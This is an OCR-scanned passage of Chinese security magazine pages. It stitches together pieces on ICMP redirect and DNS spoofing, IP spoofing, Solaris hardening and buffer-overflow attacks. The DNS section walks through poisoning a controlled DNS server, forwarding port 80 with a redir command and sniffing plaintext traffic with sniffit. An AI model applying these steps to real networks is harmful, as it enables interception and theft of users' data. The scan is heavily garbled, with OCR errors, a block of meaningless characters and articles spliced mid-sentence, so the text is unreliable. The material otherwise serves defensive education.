一 个 经 过 完整 检查 的 ICMP 包 (必须 由 默认 路 由 器 发

来 , 发 向 重 定 向 机 器 , 新 的 路 由 应 该 是 一 个 网 络 的 直

接连 接 等 等 ) ,接收 者 会 对 系统 的 路 由 表 进 行 更 新 。

这 是 ICMP 的 安全 问题 。 伪 装 一 个 路 由 器 的 卫 地

址 是 简单 的 ,icmp_redir. e 这 个 程序 正 是 做 的 这 个 工

作 。RFC 声明 系统 必须 遵循 这 个 重 定 向 , 除非 你 是 路

由 器 。 实 际 上 几乎 所 有 的 系统 都 支持 这 一 点 〈 除 了

vanilla Linux 2. 0. 30) 。

ICMP 重 定向 提供 了 一 个 非常 有 力 的 欺骗 &&

Dos 工具 。 不 像 ARP 缓存 更 新 ,路 由 表 不 存在 过 期 问

题 。 并 且 不 需要 在 本 地 网 络 , 你 可 以 从 任何 地 方 发 起

攻击 。 所 以 当 目 标 接受 了 ICMP 重 定向 之 后 〈 包 确切

抵达 ) , 目标 就 不 会 再 和 网 络 上 的 一 些 机 器 (并 不 是 所

有 的 机 器 , 是 一 些 与 目标 机 器 不 在 同一 个 网 络 上 的 机

器 ) 进行 通讯 。 域 名 服务 器 会 是 一 个 非常 好 的 攻击 目

标 。

解决 办 法 :禁止 系统 接受 icmp 重 定 向 包 ;

三 、 域 名 欺骗

非常 简单 , 攻击 者 通过 某 种 方法 〈 比 如 攻破 DNS

服务 器 ,DNS 坎 骗 ,控制 路 由 器 ) 把 目标 机 器 域名 对 应

的 耳 指 到 攻击 者 所 控制 的 机 器 , 这 样 所 有 外 界 对 目

标 机 器 的 请 求 将 被 重 定向 到 攻击 者 的 机 器 , 这 时 攻击

者 可 以 转发 所 有 的 请 求 到 目标 机 器 , 让 目标 机 器 进行

处 理 , 再 把 处 理 结果 发 回 到 发 出 请 求 的 客户 机 。 实 际

上 , 就 是 把 攻击 者 的 机 器 设 成 目标 机 器 的 代理 服务

器 , 这 样 , 所 有 外 界 进入 目标 机 器 的 数据 流 都 在 攻击

者 的 监视 之 下 了 , 攻击 者 可 以 任意 窃听 甚至 修改 数据

流 里 的 数据 ,收集 到 大 量 的 信息 。

下 面 列 举 这 攻击 的 实现 , 假 设 被 攻击 者 域名 为

www. target. com, ]P 为 111. 111. 111. 111 , 另 一 台 是 我

的 linux 系 统 卫 为 111.111.111. 112, 我 们 所 控制 的

DNS 为 dns. stupid. com。

ok, 我 在 被 控制 的 DNS - > dns. stupid. com 上 把

www. target. com 的 解析 卫 改 为 我 的 linux 系统 ;

111. 111. 111. 112, 然 后 在 我 的 linux 上 运行 : . [redir

- -jport=80 - -caddr=1llil.111.111.111 -一

port = 80& , 所 有 用 这 个 DNS 解析 的 www. target, com

都 指向 到 我 的 机 器 然后 重 定 向 到 了 111. 111. 111.

111, 我 在 我 拥有 的 linux 系统 上 运行 一 个 snitfit, 可 以

抓 取 任何 未 通过 加 密 的 内 容 。

解决 办 法 : 重要 站 点 直接 用 琴 访 问 , 确 保 DNS

server 的 安全 ;

四 、 邢 欺骗

卫 坎 骗 攻 击 的 描述 :

.1 工 假设 Z 企图 攻击 A, 而 A 信任 B, 所 谓 信任

指 /etce/hosts. equiv 和 $HOME/. rhosts 中 有 相关 设

置 。 注 意 ,如 何 才能 知道 A 信任 了 呢 ? 没有 什么 确切

的 办 法 。 建 议 就 是 注意 搜集 蛛丝马迹 ,厚积薄发 。 成 功

的 攻击 其 实 主 要 并 不 是 因为 技术 上 的 高 明 , 而 是 因为

信息 搜集 的 广泛 详实 。 动 用 了 包括 社会 工程 学 在 内 的

多 种 手段 ,毕竟 攻击 只 以 成 切 为 终极 目标 , 不 在 乎 手

段 的 。

2. 假设 Z 已 经 知道 了 被 信任 的 B ,应 该 想 办 法 使

B 的 网 络 功能 暂时 次 病 , 以 免 对 攻击 造成 王 扰 。SYN

ftood 常常 是 一 次 卫 坎 骗 攻击 的 前 奏 。 请 看 一 个 并 发

服务 器 的 框架 :

(下 转 第 227 页 )

安装 了 补丁 , 系统 就 真正 安全 了 吗 ? 在 理想 社会

或 许 是 那样 的 , 但 实际 上 系统 中 依然 有 大 量 的 suid

的 程序 并 且 存 在 着 目录 所 有 者 权限 问题 需要 解决 。 要

做 的 事情 还 多 着 呢 。

基础 工作

设置 基线 ,以 下 是 SS20 上 的 情况 :

好 好 检查 一 下 基线 , 确认 他 们 如 你 希望 地 工作 。

不 存在 任何 你 不 希望 运行 的 进程 。

安装 并 且 运 行 TITAN

好 了 。 设 置 完 基线 , 接着 让 我 们 给 机 器 加 固 。 以

前 , 大 多 数 给 Solaris 机 器 加 固 的 工作 只 能 借助 于 非

常 少 的 工具 - - 例如 Casper Dik (Solaris 2 FAQ 的 维

护 者 ) 的 fx - modes, 大 多 工作 不 得 不 用 手工 完成 。 现

在 , 这 项 工作 变 得 非常 容易 ,这 些 要 归功 于 一 个 被 称

为 TITAN 的 程序 。

Brad Powell ,Matt Archibald , 和 Dan Farmer 完成

了 数 年 来 人 们 一 直 手 工 完成 的 工作 , 并 且 使 其 脚本 化

造福 了 大 量 没有 时 间或 耐心 去 手工 配置 的 人 们 ,

尤其 是 需要 在 几 十 台 机 器 做 同样 的 事情 时 。

下 载 并 且 解 开 titan 后 , 在 titan 的 目录 下 运行 开 -

tan - Config。 这 将 备份 重要 文件 , 确 保 在 需要 时 恢复

原来 的 设置 。 然 后 , 此 目录 下 将 留 下 若干 样 例 配 置 文

件 。 我 通常 使 用 样 例 作 为 模板 , 启动 锁 住 目录 权限 和

文件 权限 选项 。 请 注意 ,与 实际 需要 相 比 较 , 那 些 权限

设置 比较 苛刻 ,需要 进行 一 些 调 整 。 例 如 ,取消 所 有 不

在 成 员 组 中 成 员 的 suid 程序 的 可 执行 权限 。

这 对 于 需要 管理 机 器 的 有 限 的 一 部 分 人 来 说 是

有 利 的 , 另 一 个 替代 的 方法 是 使 用 Solaris 的 文件 A-

CL, 能 使 使 用 者 很 好 地 控制 二 进 制 代码 的 执行 。 你 还

可 以 考虑 激活 BSM。

缺 省 情况 下 ,titan 将 自动 激活 BSM。BSM 将 产生

大 量 的 LO0G, 尽量 多 的 记录 信息 是 一 条 好 策略 , 但 过

es

守 我 把 ACL 放 在 su , ps 和 w 上 , 人 允许 "系统

date ,ps ,w 和 ptehmod 以 外 的 所 有 设置 用

正如 你 所 看 到 的 ,有 很 多 suid 程序 。 我 移 除 su ,

tmp_up

LE

数 汕 坝 厂 量 被 人 二 蝶 苹 。 吴 相 了 粳 隶 绒 坦

洪 正 展 担 上 如 家 出 训

届 旺 员 4 人

是 间 人 深 站 本 惧 二 展 隆 全 发

凌 权 5 这 所 到 | 和 当 敬 败 本 此 总 向 了

SS 中 骨 则 焉 必得 证 其 攻 王 总 到

芒 , 恕 可 划 呈 旺 万 层 晴 思 区 购 四 号 县 蔚 阳

。 溉 凶 ] 吕 焉 状 1 半 号 状 吕 。 导 发

国 呈 下 让 乌 业 江 和 越 扣 | 通 是 昌 全 涩 朱 车 瓜

区 让 昌 轩 起 太 二 员 呈 夫 呈 攻 让 民 入 好 条 热 齐 攻

茵 必 每 邯 虹 芋 色 竖 有 路 人 “~ 蕊 震 是

昔 攻 颍 各 大 严 闪 让

划 了 昌江 下旬 遇 交 网 下 汪 知 相 如 西医 晤 芝

温 长 浊 骂 基 总 亏 其 二 志 区 殿 苍 委 呈 新 县 臣 矶 喘

有 起 训 员 县 -上 人 日 归 二 号 让 是 。 直

下 让 四 谢 号 日 与 包 起

盟 题 “时 人 可 人 、 了 县 汪 妇 所 写 记 主 王后 县 册 趟 间

忆 要 哉 | 、 芋 下 四 对 苍 要 相符 焉 臣 浊 帮 相 二 归 时 站 旺 黄

可 本 日 趟 诊 节 蝶 运 忆 妈 贡生 屿 下 | 要 呈 攻 中 星相 上 哄

人 堆 锅 郊 呈 内 共 其 淮 衬 民 淮 里 交 卫衣

呈 上 由 企 到 起 | - 节 “ 其 共用 贱 闪 四

类 号 县 | 甫 异 焉 得 妆 正 让 路 同 认 党 由

SENDOERE

一 了 人

”S

我 在 ps 和 w 上 做 了 相同 的 操作 。 (在 另外 的 文

章 , 我 将 讨论 ACL s. 更 有 效 的 使 用 ) 我 们 最 后 的 结

果 如 下 :

安装 编译

在 详细 说 明 安 装 细 节 之 前 , 为 了 方便 起 见 先 安装

一 个 编译 器 。 我 们 将 使 用 gce 。 其 安装 包 可 以 在

www, sunfreeware. com 上 找到 , 在 安装 完 所 有 我 们 需

要 的 软件 后 , 可 以 根据 需要 将 它 移 除 。

www. sunfreeware. com 有 为 Solaris2.S 到 8 的 版 本 所

EEC

需要 的 所 有 安装 包 。 从 在 那里 下 载 gcc 和 gzip 同时 ,

可 以 下 载 另 外 许多 其 他 包 。 取 决 于 想 要 花 多 少时 间 来

编译 这 些 包 , 从 此 站 点 可 以 获得 帮助 . 如 果 没 有 对 包

进行 编译 就 运行 通常 会 有 报错 出 现 , 如 果 可 能 的 话 ,

编译 你 自己 的 软件 。

假设 在 www. sunfreeware. com 获得 一 个 编译 器 ,

首先 安装 gzip 包 , 然后 gce 包 , 使 用 标准 的 pkgadd

功能 。

安装 Apache

接 着 从 www. apache.org 下 载 Apache , 从

perl. apache. org 下 载 modperl 和 Embperl。 安装 这 些 是

很 直接 的 。 只 要 简单 跟随 在 mod_perl 目录 下 的 指令 即

可 。 由 于 Solaris 8 中 有 perl 存在 , 不 需要 另外 安装

了 。 而 ,Solaris 8 以 前 的 版 本 必须 安装 perl 。 我 选择 了

在 /export/home/apache 下 安装 。

安装 后 台 工 具 ,ucspi -tcp ,dqmail 和 dnscache

接着 安装 后 台 工 具 ,ucspi -tcp ,qmail 和 各 种

dnscache。 这 些 都 按照 通常 惯例 安装 。

下 面 是 所 使 用 的 启动 脚本

按照 安装 指令 ; 直接 安装 即 可 。

最 后 , 安装 dnscache , 同 样 直 接 安 装 即 可 ; 其 建

立 , 安装 , 以 及 随 之 而 来 在 程序 编译 中 更 为 复杂 的 一

些 特 性 而 言 都 是 极为 清晰 的 。 其 指导 也 是 无 所 比拟

的 。 由 于 同一 台 机 器 同时 充当 网 络 的 本 地 dns 缓冲 和

服务 器 内 网 名 , 我 们 要 在 同一 机 器 上 进行 不 同 的 配

置 。 通 常 , 需要 一 台独 立 的 机 器 作为 DNS 缓存 和 提供

域名 服务 。 与 运行 主机 文件 相 比较 , 我 选择 为 网 络 安

装 缓存 和 一 个 域名 服务 器 在 一 台独 立 的 主机 上 。 我 仅

仅 在 ip 127. 0. 0.2 上 建立 了 克隆 回 送 设备 ,lo0: 1。 安

装 了 tinydns , 每 指令 , 并 且 把 它 绑 定 在 127. 0. 0.2

上 。 然 后 对 于 外 部 缓存 , 我 安装 了 为 所 有 查找 指向

127. 0. 0.2 的 .intemal 网 络 。 于 是 ,按照 设想 , 这 些 2

个 应 用 程序 应 该 在 不 同 的 机 器 上 , 特别 是 如 果 dns 服

务 器 接受 外 部 服务 请 求 , 而 现在 在 同一 台 上 就 实现

了 。

RPC 建议

如 果 准 备 运 行 NFS,NIS,TOOLTALK ,或 任何 包括

SUN RPC 服务 在 内 的 东西 , 那 么 就 需要 运行

rpcbind。 好 了 ,众所周知 RPC 在 大 多 数 安全 模型 中 传

统 地 被 认为 是 一 个 弱点 。 NEFS 和 NIS 是 从 /ete/

rc2. d 和 rc3. d 的 开始 脚本 中 启动 的 , 也 就 是 S7lrpe

,S73nfs. client 和 S15nfs. server 。 如 果 不 需 要 他 们 ,只

要 简单 地 zm 开始 脚本 ,或 重 命名 他 们 到 一 些 不 由 S$

开始 的 东西 中 去 。 要 确保 编辑 /etc/inetd. conf , 而 且

取消 任何 远程 的 RPC 服务 。 注 意 如 果 移 除 ttdbserverd

可 能 引起 OpenWindows 冻结 , 或 桌面 设置 工具 的 骨

溃 。 要 防止 以 上 情况 发 生 , 编 辑 /usr/yopenwin/jlib/

openwin -sys 文件, 并且 移 除 ttsession 程序 的 开始

行 。

NFS 建议

为 了 NFS 的 安全 ,需要 进行 一 些 步骤 使 其 更 为 完

美 。

首先 , 不 要 共享 根 文 件 系 统 。 没 有 必要 暴露 整个

机 噩 。 相 反 ,确切 决定 哪些 数据 需要 共享 。 别 把 所 有 的

资料 出 口 到 全 世界 。 多 花 些 时 间 决 定 哪 些 机 器 能 共享

并 不 困难 , 而 且 它 对 于 改善 NFS 的 安全 性 有 重要 意

义 。 试 着 设置 nosuid ,使 其 只 读 , 如 果 有 绝对 必要 才

能 写 : 这 有 时 候 是 件 麻烦 的 事情 , 但 是 它 能 防止 本 地

的 机 器 或 远程 机 器 上 获得 ROOT。( 请 注意 对 于 NFS

来 说 毫 无 疑问 增加 了 容易 的 程度 ) 。 最 后 , 在 NFS 的

文件 系统 上 使 用 fsirand 程序 。 这 将 防止 从 NFS 文件

猜 取 。 如 果 , 可 以 在 安全 的 RPC 上 运行 NFS ,将 有 助 于

认证 ,但 NFS 依然 将 在 网 络 上 被 查看 到 。

远程 管理 建议

Solaris 2.6 启用 了 比较 好 的 SNMP 和 DMI, 同时

也 安装 了 Sadmind。SNMP 有 许多 著名 的 漏洞 ,特定 的

协议 和 在 SUN 上 的 特殊 性 。 如 果 运 行 了 SNMP, 记得

要 确保 打上 最 新 版 本 的 补丁 。 这 将 解决 一 些 问 题 , 但

此 方式 是 有 缺陷 的 一 一 snmpd 不 再 支持 读 / 写 。 此 问

题 的 后 台 程 序 是 在 /etevrec3. d/S76snmpdx 上 运行

的 。 将 其 改变 为 除 $ 以 外 任何 开头 ,而 令 一 个 问题 是

从 S77dmi 启动 的 dmi, 也 在 /etcvrc3. d. 下 , 如 果 不

使 用 的 话 ,将 它 移 掉 。Sadmind 从 inetd 上 运行 ,所 以 如

果 要 关 掉 它 , 只 要 注释 掉 人 口 并 且 重 局 或 者 HUP in-

etd 。

怪异 的 服务

有 很 多 服务 在 你 不 知晓 的 情况 下 被 安装 了 。 例 如

域名 服务 缓存 后 台 进 程 。 这 种 服务 是 缓存 普

通 的 名 字 服 务 请 求 。 这 将 缓存 域名 查询 ,密码 文件 ,组

文件 , 和 一 些 其 他 的 文件 。 原 意 为 想 为 普通 的 查询 提

供 在 机 器 上 缓存 。Nscd 加 快 了 普通 dns 查询 , 并且 帮

助 加 速 了 象 NIS 和 NIS + 的 效率 。 禁 用 nsed 能 使 某 个

程序 崩溃 (例如 Netscape) 。nsed 安全 影响 是 未 知 的 ,

尽管 早期 版 本 就 有 了 明显 的 问题 :过剩 的 缓存 将 导致

nscd segfaulting。 在 同一 站 点 上 进行 大 量 的 名 字 查 找 ,

这 很 快 就 引发 了 问题 。 另 外 ,nscd 在 缓存 上 使 用 的 方

nscd

介 绍

缓冲 区 溢出 成 功 地 作为 渗透 系统 安全 的 方法 使 用 已 经 超

过 12 年 了 。 最 早 的 缓冲 区 溢出 攻击 之 一 , 是 著名 的 Robert

Morris 的 因特网 蠕虫 , 它 获得 了 空前 的 成 功 。1988。Morris 成 功

地 发 布 了 一 个 程序 在 因特网 上 感染 了 几 和 于 台 Unix 主机 。

Morris 成 功 地 获得 一 个 脆弱 系统 的 存 取 方 法 之 一 就 是 存在 于

fingerd daemon 的 缓冲 区 溢出 错误 。 一 旦 获得 了 一 个 脆弱 系

统 的 存 取 权 ,Morris 的 程序 会 在 机 器 上 自动 安装 , 并 且 千 方 百

计 去 感染 其 他 机 器 。Morris 原来 的 目的 是 相对 慢 慢 地 传播 到 其

他 系统 并 且 不 被 发 现 , 在 任何 有 影响 的 机 器 上 不 造成 重要 的

混乱 。

然而 , 他 的 目的 完全 落空 了 。Morris 的 一 个 编程 错误 导致

了 比 原 来 预想 更 高 的 传播 率 。 由 于 这 个 错误 ,机 器 被 感染 并 且

再 感染 非常 的 快 ,从 而 蠕虫 以 压倒 性 优势 攻击 了 系统 。 当 然 这

也 使 其 程序 很 快 被 检测 出 来 , 并 且 转 变 为 当时 最 具 破 坏 力 的

拒绝 服务 攻击 。Morris 的 程序 通常 不 能 获得 系统 管理 员 权限 ,

并 且 没 有 破坏 被 人 侵 系 统 上 的 任何 信息 , 也 没有 留 下 任何 时

间 炸 弹 或 恶意 的 代码 。

1988 ~ 1996 缓冲 区 溢出 攻击 仍然 保持 相对 低 的 数量 。

已 知 的 漏洞 及 时 修补 ,而 且 由 于 很 少 人 知道 攻击 方法 , 发 现 并

执行 新 漏洞 被 认为 是 很 困难 的 事情 。 这 一 情况 在 1996 年 被 戏

剧 性 地 改变 了 了, 当时 Lervy 发 表 了 一 篇 很 好 的 论文 , 它 显 示 了

很 多 程序 存在 缓冲 区 溢出 危险 ,并 且 表 明了 对 目标 程序 构造

成 功 的 缓 冲 区 溢出 攻击 的 技术 是 比较 简单 , 甚 至 攻击 者 没有

对 目标 程序 的 实际 源 代 码 的 存 取 权 。 这 2 个 因素 的 联合 刺激

了 很 多 攻击 者 发 现 新 的 漏洞 。 另外 ,许多 攻击 被 自动 化 , 即

使 使 用 者 一 穿 不 通 也 可 以 执行 攻击 。 对 如 此 攻击 感 兴趣 的 人

经 常 被 称 为 脚本 小 孩 。

不 笠 地 是 这 些 太 多 的 脚本 小 孩 进行 自动 化 攻击 , 使 不 坟

法 不 是 很 明显 的 。 如 果 nscd 没有 缓存 查找 的 类 型 ,可

能 会 形成 缓存 病毒 攻击 。

增加 可 选项

是 否 人 允许 远程 存 取 ? 如 果 可 能 的 话 , 仅仅 允许 存

取 以 加 密 方 式 进 行 。 最 受 欢迎 的 是 SSH。 其 代码 彻底

地 被 研究, 并 且 所 有 的 偶然 性 问题 都 浮 出 了 水 面 , 它

比 那 些 运行 未 加 密 , 弱 认 证 的 协议 例如 TELNET 相 比

要 好 得 多 。

如 果 你 必须 运行 RPC 服务 , 使 用 Wietse Venema

“机 器 ,无 论 现在 或 是 未 来 。

的 安全 mpcbind。 它 提高 了 记载 和 ACL 的 能 力 。 它 甚至

不 基于 SUN 的 zpcbind 源 代 码 , 因此 你 不 必 担 心 有 障

碍 。TCP wrapper 也 对 于 需要 运行 的 服务 很 有 好 处 。

就 算 你 不 打算 运行 “简单 "服务 ,jibwrap 也 会 使 得

库 运 行 得 更 好 ,并 且 已 有 蔡 代 sshd 的 趋势 。

希望 你 现在 正在 运行 一 台 使 你 充满 信心 地 安全

机 器 。 当 每 台 机 器 遵循 以 上 指南 时 , 还 有 少数 的 事情

需要 进行 :尽量 少 地 安装 包 , 尽量 少 地 开启 服务 ,并 且

民 量 消除 设置 用 户 标识 符 程序 。 这 将 很 好 地 保护 你 的

重负 的 系统 管理 员 感 到 极其 头痛 。

本 文 训 析 了 缓冲 区 溢出 攻击 并 且 讨 论 为 何 他 们

是 如 此 流行 并 且 致 命 的 原因 。 然 后 , 我 们 对 传统 防御

手段 进行 检测 , 并 且说 明 为 什么 在 不 久 的 将 来 无 效 于 .

防止 攻击 的 成 功 。 然 后 讨论 最 近 方 法 , 并 且 讨论 他 们

相对 的 弱点 和 力量 。 当 没有 100% 有 效 的 方法 时 , 我

们 来 证 明 为 什么 这 些 新 方法 更 有 成 功 的 可 能 性 。

缓冲 区 溢出 攻击 是 什么

当 程 序 在 数组 中 存储 信息 超过 其 预 留 的 空间 时 ,

缓冲 区 溢出 将 发 生 。 这 是 引起 邻近 区 域 的 缓冲 区 被 覆

盖 , 而 破坏 以 前 存储 的 数据 。 缓 冲 区 溢出 总 是 典型 地

被 归 为 程序 编程 错误 , 因为 程序 员 没 能 预感 程序 输入

进 缓冲 区 的 信息 可 以 超过 它 定 义 的 大 小 。 不 幸 地 是 正

如 我 们 很 快 所 见 , 由 于 危险 的 C 程序 被 广泛 地 使 用 ,

缓冲 区 溢出 编程 错误 是 相当 普遍 的 。 一 旦 缓冲 区 溢出

漏洞 在 不 适当 的 测试 中 未 能 被 发 现 , 以 致 于 漏洞 在 隐

蔽 的 程序 中 潜藏 ,不 被 发 现 且 沉 默 多 年 。 这 洪 在 的 开

放 程 序 将 成 为 利用 漏洞 获得 系统 非法 存 取 的 攻击 的

目标 。

缓冲 区 溢出 会 偶然 地 在 程序 的 执行 期 发 生 。 当 它

发 生 时 , 并 没有 很 大 可 能 导致 系统 安全 问题 。 最 常用

的 是 对 缓冲 区 邻近 区 域 的 信息 进行 攻击 , 从 而 引起 程

序 崩 省 或 产生 明显 错误 结果 。 另 一 方面 ,缓冲 区 溢出

攻击 中 , 攻 击 者 的 目的 是 利用 漏洞 精心 策划 某 种 方

法 破坏 信息 从 而 执行 先前 已 经 由 攻击 者 植 人 的 攻击

代码 。 一 且 成 功 , 攻击 者 将 有 效 地 劫持 了 对 程序 的 控

制 。 一 旦 控制 被 转移 到 攻击 代码 , 它 将 同意 攻击 者

非法 的 存 取 。 典 型 地 攻击 代码 在 SHELL 上 执行 , 它 允

许 攻击 者 在 系统 上 执行 任意 的 命令 。

当 一 个 新 的 SHELL 在 Unix 系统 上 产生 , 它 将 继

承 产生 此 SHELL 的 进程 的 存 取 权限 。 因 而 , 如 果 被 攻

击 具 有 缓冲 区 溢出 危险 进程 具有 ROOT 的 权限 , 攻

击 者 也 将 得 到 ROOT。 在 此 我 们 的 讨论 仅 限 于 UNIX

操作 系统 , 而 实际 上 缓冲 区 溢出 对 大 多 数 操作 系统 都

适用 。 特 别 , 许 多 攻击 是 成 功 的 针对 Windows NT 和

Windows 2000 系统 。Axelsson[1] 通 过 已 知 的 攻击 类

型 对 Windows NT 和 UNIKX 操作 系统 安全 进行 了 比

较 , 发 现 它们 几乎 是 同等 地 脆弱 。

缓冲 区 溢出 攻击 可 以 是 本 地 或 远程 。 本 地 攻击

中 , 攻 击 者 已 经 能 访问 系统 , 而 他 希望 提高 存 取 权

限 。 远 程 攻 击 是 通过 一 个 网 络 端口 进行 的 , 并 且 可 以

同时 完成 获得 非法 存 取 权 限 和 最 大 存 取 权 限 。

总 之 ,我 们 所 见 的 缓冲 区 溢出 攻击 通常 由 3 部 分

组 成 :

1. 在 目标 程序 中 植 人 攻击 代码 ;

2. 实际 拷贝 进入 需要 溢出 的 缓冲 区 并 且 破 坏 邻

近 区 域 的 数据 结构 ; :

3. 控制 劫持 从 而 执行 攻击 代码 ;

现在 对 缓冲 区 溢出 攻击 的 主要 类 型 进行 详细 描

述 。

破 十 栈

缓冲 区 溢出 攻击 的 分 类 取决 于 缓冲 区 的 分 配 。 如

果 缓 冲 区 一 个 函数 的 本 地 变量 , 那 么 缓冲 区 在 在 于

run -time stack。 这 是 Levy 论文 中 所 提 到 的 攻击 类

型 ,并且 是 迄今 为 止 缓冲 区 溢出 攻击 最 流行 的 形式 。

当 函 数 被 一 个 C 程序 调用 时 , 在 执行 跳 到 被 调

.用 函数 的 实际 代码 以 前 , 函数 的 激活 记录 必须 被 推 人

run -time stack。 在 C 程序 中 ,激活 记录 由 下 列 区 域 组

成 :

1. 为 函数 中 每 个 参数 分 配 的 空间 ;

2. 返回 地 址 ;

3. 动态 连接 ;

4. 为 函数 中 每 个 本 地 变量 所 分 配 的 空间 。

为 了 方便 起 见 , 我 们 认为 动态 连接 区 域 的 地 址 就

是 激活 记录 的 基地 址 。 函 数 能 够 存 取 它 的 参数 和 本 地

变量 。 这 要 求 在 函数 执行 期 间 , 寄 存 器 包容 函数 激

活 记录 的 基地 址 , 即 动态 连接 区 域 的 地 址 。 参 数位 于

栈 中 此 地 址 之 下 , 并 且 本 地 变量 在 此 上 面 。 当 函 数

返回 时 , 寄 存 器 必须 恢复 到 它 以 前 的 值 , 来 指向 被 调

用 函数 的 激活 记录 。 为 了 能 做 到 这 点 , 当 函 数 被 调用

时 ,寄存 器 的 值 被 保存 在 动态 连接 区 域 中 。 这 样 一 来 ,

每 个 激活 记录 的 动态 连接 区 域 在 栈 上 指向 先前 激活

记录 的 动态 连接 域 , 它 接 着 再 指向 先前 的 激活 记录 的

动态 连接 域 , 依 此 类 推 , 一 直到 栈 的 底部 。 在 栈 上 的

第 一 个 激活 记录 是 main() 。 这 一 指针 链 被 称 为 动态

连接 链 。

许多 C 编译 器 中 , 缓冲 区 向 栈 的 底部 发 展 。 这 样

如 果 缓冲 区 溢出 并 且 溢 出 足够 长 , 那 么 返回 地 址 将

被 破坏 , (正如 作为 两 者 之 间 的 另外 任何 事情 ,包括 动

态 连接 。) 如 果 返 回 地 址 被 缓冲 区 溢出 覆盖 , 从 而 以

便 指 向 攻击 代码 , 当 函数 返回 时 , 将 被 执行 。 这 样 一

来 , 此 类 攻击 就 是 利用 在 栈 上 的 返回 地 址 来 劫持 程序

的 控制 权 。

覆盖 返回 地 址 , 正 如 以 上 所 说 , 赋 予 攻击 者 一 定

意义 上 劫持 程序 控制 权 ,但 是 攻击 代码 应

该 存储 在 哪里 呢 ? 通 常 , 它 在 缓冲 区 中 存储 。 这 样

一 来 ,payload 字符 串 包 含 二 进 制 机 器 语言 的 攻击 代

码 将 被 复制 到 缓冲 区 中 , 就 象 覆 盖 返 回 地 址 的 代码 地

址 一 样 。

攻击 者 执行 这 个 计划 必须 克服 一 些 困难 。 如 果 攻

击 者 拥有 被 攻击 的 目标 程序 的 源 代 码 , 那么 可 以 确切

地 知道 缓冲 区 大 小 , 离 返 回 地 址 多 远 , 及 payload 字符

串 必 须 有 多 大 。 另 外 ,payload 字符 串 不 能 包含 空 字

符 , 因为 这 将 终止 复制 payload 到 缓冲 区 ,同样 的 , 在

C 程序 库 中 的 特殊 字符 也 要 避免 使 用 。

如 今 , 在 许多 操作 系统 中 ,例如 Linux ,OpenB-

SD, freeBSD , 甚至 Solaris, 源 代 码 的 存 取 是 很 普通 的

事情 。 然 而 , Levy 演示 的 攻击 即使 不 访问 源 代 码 , 其

至 不 需要 知道 任何 关于 攻击 程序 运行 的 准确 细节 的

知识 也 能 实现 攻击 。 攻 击 代码 的 地 址 可 以 通过 各 种 各

样 的 技术 做 近似 猜测 。 例 如 , 攻 击 代码 能 以 没有 操作

指令 的 一 张 长 长 的 列表 开始 , 以 便 控 制 能 被 传递 给

给 任何 东西 从 而 正确 执行 攻击 代码 的 关键 的 部 分 来

实现 没有 权限 而 建立 一 个 新 的 SHELL。 这 技术 已 经 在

Morris 的 电 虫 中 使 用 。 同 样 , payload 字符 串 的 尾巴 可

以 由 一 张 我 们 希望 用 来 覆盖 返回 地 址 的 重复 猜测 攻

击 代码 地 址 的 表 构 成 。 这 些 技术 增加 了 猜测 攻击 地 址

的 机 会 ,从 而 足够 接近 编码 攻击 工作 。

现在 我 们 看 看 为 什么 缓冲 区 溢出 是 如 此 普遍 。 假

定 缓冲 区 是 用 来 存放 字符 串 的 字符 数组 。 大 多 数 程序

具有 字符 串 输 入 或 能 被 攻击 者 利用 实现 攻击 的 环境

变量 。 程 序 必须 读 人 这 些 输入 并 且 分 析 它 , 以 便 做 出

适当 的 反应 。 通 常 ,为 了 分 析 输 入 ,程序 首先 要 将 输入

内 容 复 制 到 函数 所 分 配 的 变量 中 , 然后 进行 分 析 。 为

了 这 一 目的 , 程序 员 为 任何 合理 的 输入 保留 一 个 足够

大 的 缓冲 区 。 将 输入 复制 到 缓冲 区 , 程序 通常 使 用 典

型 标准 C 库 中 的 字符 拷贝 函数 例如 strcpy() 。 如 果 不

够 小 心 的 话 , 将 引发 缓冲 区 溢出 的 危险 。 此 模式 很 多

C 程序 员 需 要 使 用 的 , 所 以 许多 程序 将 包含 缓冲 区

溢出 危险 。

这 个 问题 的 产生 部 分 是 因为 C 用 一 个 危险 的 方

法 代表 字符 串 。 字 符 串 的 长 度 取决 于 字符 顺序 中 遇 到

空 字符 。 这 种 方法 很 方便 , 因为 字符 串 能 有 任意 长 度

并 且 还 允许 对 有 效 字符 串 处 理 。 但 是 同时 它 也 是 危险

的 , 因 为 如 果 字 符 串 的 结束 不 为 空 字符 , 那么 整个 程

序 将 骨 溃 , 并 且 无 法 在 处 理 所 有 字符 以 前 知道 字符 串

的 长 度 。 典 型 C 过 于 强调 效率 , 而 不 够 关心 正确 性 ,

谨慎 性 或 安全 性 。 它 要 求 有 强大 的 编程 实践 来 避免 犯

错误 。 所 以 它 带 来 的 后 果 是 如 果 在 程序 中 没有 首先 定

义 长 度 , 缓冲 区 溢出 危险 不 能 被 根除 。 不 仅 从 已 发 布

软件 的 庞大 数量 来 说 , 还 是 有 更 多 具有 缓冲 区 溢出 危

险 的 软件 不 断 地 问世 , 要 消除 这 种 危险 将 是 非常 困难

的 。

Miller 研究 了 当 在 各 种 版 本 中 进行 随机 输入 时 ,

UNIX 操作 系统 (商业 或 开放 代码 ) 程 序 的 行为 。 他 的

研究 对 我 们 的 讨论 相当 重要 , 因 为 当 意外 的 输入 不

必 直 接 和 缓冲 区 溢出 关联 时 , 即使 是 程序 员 倾向 的 集

中 合理 输入 , 由 于 程序 没有 处 理 意外 输入 的 能 力也 将

导致 缓冲 区 溢出 缺陷 。

攻击 者 是 无 理 可 循 的 。 相 反 , 他 们 希望 利用 无 理

性 这 个 盲点 , 发 现 程序 逻辑 漏洞 来 为 他 们 自己 的 目

的 而 服务 。 因 此 Miller 的 研究 提供 缓冲 区 溢出 问题 是

如 何 普遍 。 不 幸 的 是 , 在 几乎 所 有 发 布 的 程序 在

Miller 的 试验 下 面 垮 掉 了 。

Miler 再 不 断 研 究 了 五 年 后 , 提 出 了 一 些 供应 商

改进 软件 质量 的 远见 卓识 。 确 实 , 他 的 结果 显示 了 可

实行 性 。 但 是 进步 是 不 大 。

Miller 另 一 个 有 趣 的 结果 是 开放 源 代 码 比 商 业 的

具有 更 高 的 质量 。 这 似乎 建议 优秀 的 小 规模 组 织 与 有

点 混乱 的 大 规模 组 织 并行 。 前 者 , 开放 源 代 码 受 到 欢

迎 。 后 者 商业 组 织 特征 明显 。

传统 型 的 防卫

现在 来 看 看 一 些 传 统 对 付 缓冲 区 溢出 危险 的 方

法 。 我 们 已 经 提 及 了 从 目标 程序 消除 错误 的 方法 。 而

